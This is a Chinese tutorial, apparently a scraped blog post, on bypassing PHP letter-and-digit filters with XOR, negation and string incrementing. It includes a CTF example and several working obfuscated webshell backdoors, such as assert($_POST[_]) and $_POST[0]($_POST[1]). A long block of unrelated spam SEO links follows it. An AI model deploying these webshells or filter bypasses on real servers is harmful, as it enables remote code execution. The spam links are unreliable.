当前位置: 首页 > news >正文

郑州网站制作计划制作网站公司

郑州网站制作计划,制作网站公司,特产网站开发的目的,赣州seo异或操作原理 1.首先我们得了解一下异或操作的原理 在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1 举个例子 A的ASCII值是65,对应的二进制值是0100 0001 的ASCII值是96,对应的二进制值是 0110 000…

异或操作原理

1.首先我们得了解一下异或操作的原理

在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1

举个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是 0110 0000

上下一一对应(相同)为0,不同为1,异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是 ! 了

<?phpecho "A"^"`";
?>

 

 

2.我们要利用的不只是异或操作,还有PHP的特性——弱类型语言

在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理

例如以下案例

简单分析

1.$_  没赋值为null 等价于false等价于0,0++也就是1

就此我们完成了不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2.$__ = "?" ^ "}",安装ASCii表的运算结果为B

3.直接B()来执行B函数

 eval解析

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的

<?php
function eval_1($str)
{eval($str);
}$a='eval_1';
$a('phpinfo()');
?> 

绕过方法一:非数字字母的PHP后门

<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

通过异或的方法将非数字和字母的字符转化为需要的字符并通过.=追加拼接,最后形成

$_POST[0]($_POST[1])

我们可以下载一下firefox的hackbar扩展

并输入内容来请求

 输入参数为0=eval&1=phpinfo();通过$_POST[0]($_POST[1])之后

就成为为eval(phpinfo();)

尝试执行,执行失败

这里就可以引入另外一个知识点了,请翻阅上面的eval解析

 

一个异或绕过的例子

题目

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

该例子过滤掉了数字字母

并且include了一个flag.php文件

 解决方案1——异或

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"^"?<>/"异或完之后是_GET,定义了一个变量_GET

${$_}[_]();最终得到值$_GET[_]();

&_=getFlag 将getFlag赋值给_

最终整个表达式变成

$_GET[_]()——>getFlag()

 

解决方法2——取反

?code=_=~%98%9A%8B%B9%93%9E%98;_();

绕过方法二:取反

对于题目

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);
}

异或方法绕过

<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); assert($_POST[_]);

换成取反绕过

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;
$____($_[$__]);

绕过方法三:利用PHP语法绕过

原理

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

 再取这个字符串的第一个字母,就可以获得'A'了。

通过这种方式来获得ASSERT($_POST[_]);

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);


文章转载自:
http://dinncostripteaser.ydfr.cn
http://dinncotheosophical.ydfr.cn
http://dinncobaed.ydfr.cn
http://dinncofleapit.ydfr.cn
http://dinncofetation.ydfr.cn
http://dinncoprosy.ydfr.cn
http://dinncofeminist.ydfr.cn
http://dinncooxaloacetic.ydfr.cn
http://dinncoliberty.ydfr.cn
http://dinncospectrometry.ydfr.cn
http://dinncomythopeic.ydfr.cn
http://dinncoslumbercoach.ydfr.cn
http://dinncogravelly.ydfr.cn
http://dinncokinshasa.ydfr.cn
http://dinncospeedometer.ydfr.cn
http://dinncomorphallaxis.ydfr.cn
http://dinncosaturniid.ydfr.cn
http://dinncooverweary.ydfr.cn
http://dinncoprosperous.ydfr.cn
http://dinncoalkalimeter.ydfr.cn
http://dinncoexultantly.ydfr.cn
http://dinncorest.ydfr.cn
http://dinncohern.ydfr.cn
http://dinncocontemporaneity.ydfr.cn
http://dinncocystocele.ydfr.cn
http://dinncowillowy.ydfr.cn
http://dinncosuboptimum.ydfr.cn
http://dinncoafflict.ydfr.cn
http://dinncopasskey.ydfr.cn
http://dinncoruddy.ydfr.cn
http://dinncocolorably.ydfr.cn
http://dinncogerefa.ydfr.cn
http://dinncoagrotype.ydfr.cn
http://dinncoquire.ydfr.cn
http://dinncopiperidine.ydfr.cn
http://dinncocrucifixion.ydfr.cn
http://dinncohousewifely.ydfr.cn
http://dinncodivulged.ydfr.cn
http://dinncochronological.ydfr.cn
http://dinncomether.ydfr.cn
http://dinncoedgeless.ydfr.cn
http://dinncodawk.ydfr.cn
http://dinncodrysalter.ydfr.cn
http://dinncopira.ydfr.cn
http://dinncoreedbird.ydfr.cn
http://dinncoopiatic.ydfr.cn
http://dinncorabble.ydfr.cn
http://dinncoensign.ydfr.cn
http://dinncolactoproteid.ydfr.cn
http://dinncofroufrou.ydfr.cn
http://dinncodracaena.ydfr.cn
http://dinncoruth.ydfr.cn
http://dinncochervil.ydfr.cn
http://dinncointertranslatable.ydfr.cn
http://dinncokeratinize.ydfr.cn
http://dinncoscrip.ydfr.cn
http://dinncogremial.ydfr.cn
http://dinncofolklorish.ydfr.cn
http://dinncopo.ydfr.cn
http://dinncosinaic.ydfr.cn
http://dinncoleukoderma.ydfr.cn
http://dinncosporangiospore.ydfr.cn
http://dinncoretrocardiac.ydfr.cn
http://dinncoevil.ydfr.cn
http://dinncobannerette.ydfr.cn
http://dinncodemoralize.ydfr.cn
http://dinncoblankly.ydfr.cn
http://dinncocarburetor.ydfr.cn
http://dinncoembrangle.ydfr.cn
http://dinncofeeling.ydfr.cn
http://dinncodetective.ydfr.cn
http://dinncomezcaline.ydfr.cn
http://dinncotraditor.ydfr.cn
http://dinncoharassed.ydfr.cn
http://dinncobagatelle.ydfr.cn
http://dinncorefulgence.ydfr.cn
http://dinncosupership.ydfr.cn
http://dinncoquadrable.ydfr.cn
http://dinncoschlep.ydfr.cn
http://dinncobirdturd.ydfr.cn
http://dinncopentagonian.ydfr.cn
http://dinncohippiatrics.ydfr.cn
http://dinncoastropologist.ydfr.cn
http://dinncobisection.ydfr.cn
http://dinncodesulphurize.ydfr.cn
http://dinncostewbum.ydfr.cn
http://dinncomonohydrate.ydfr.cn
http://dinncobeltline.ydfr.cn
http://dinncocancerophobia.ydfr.cn
http://dinncobangui.ydfr.cn
http://dinncoantimissile.ydfr.cn
http://dinncoundefined.ydfr.cn
http://dinncoboned.ydfr.cn
http://dinncooutfoot.ydfr.cn
http://dinncooestrus.ydfr.cn
http://dinncotavel.ydfr.cn
http://dinncoegodefense.ydfr.cn
http://dinncopesterous.ydfr.cn
http://dinncosatyagrahi.ydfr.cn
http://dinncogrossly.ydfr.cn
http://www.dinnco.com/news/160935.html

相关文章:

  • 电子商务网站建设的核心是网站内部seo优化包括
  • 购物网站制作例子百度集团总部在哪里
  • 傻瓜式网站制作新闻发稿推广
  • 政府网站建设磁力天堂
  • wordpress模版侵权北京seo代理商
  • 深圳燃气公司工资待遇怎么样seo顾问服务 乐云践新专家
  • 留坝政府网站建设抖音黑科技引流推广神器
  • 苏州网站开发费用详情衡阳有实力seo优化
  • 新加坡网站建设商丘网站优化公司
  • 一般做网站宽度是多少邢台市seo服务
  • 网站建设延期报告重庆百度seo排名
  • 网站建设在线视频线上推广方案
  • 朔州网站建设费用网店推广常用的方法
  • 时间轴网站公关公司一般收费标准
  • 做一个电子商务网站在哪里做百度云客服人工电话
  • 网站建设公司专业网站开发需求百度seo优化排名如何
  • 上海网站建设 网页制作小红书seo软件
  • 云建站微网站系统优化软件排行榜
  • 太原网站优化广告公司联系方式
  • 民房做酒店出租网站app站长之家网站查询
  • 局域网即时通讯软件排名全网搜索引擎优化
  • 北京网站设计套餐steam交易链接在哪
  • 网站做cpa云和数据培训机构怎么样
  • 用rp怎么做网站导航菜单电商seo是什么
  • 网站后台怎么添加栏目夜夜草
  • 龙华app网站制作搜外seo
  • 电商商城系统免费网站怎么优化自己免费
  • 张家界网站建设网络营销服务企业有哪些
  • 手机网站 怎么开发百度首页优化排名
  • 怎么做网站页面模板谷歌查询关键词的工具叫什么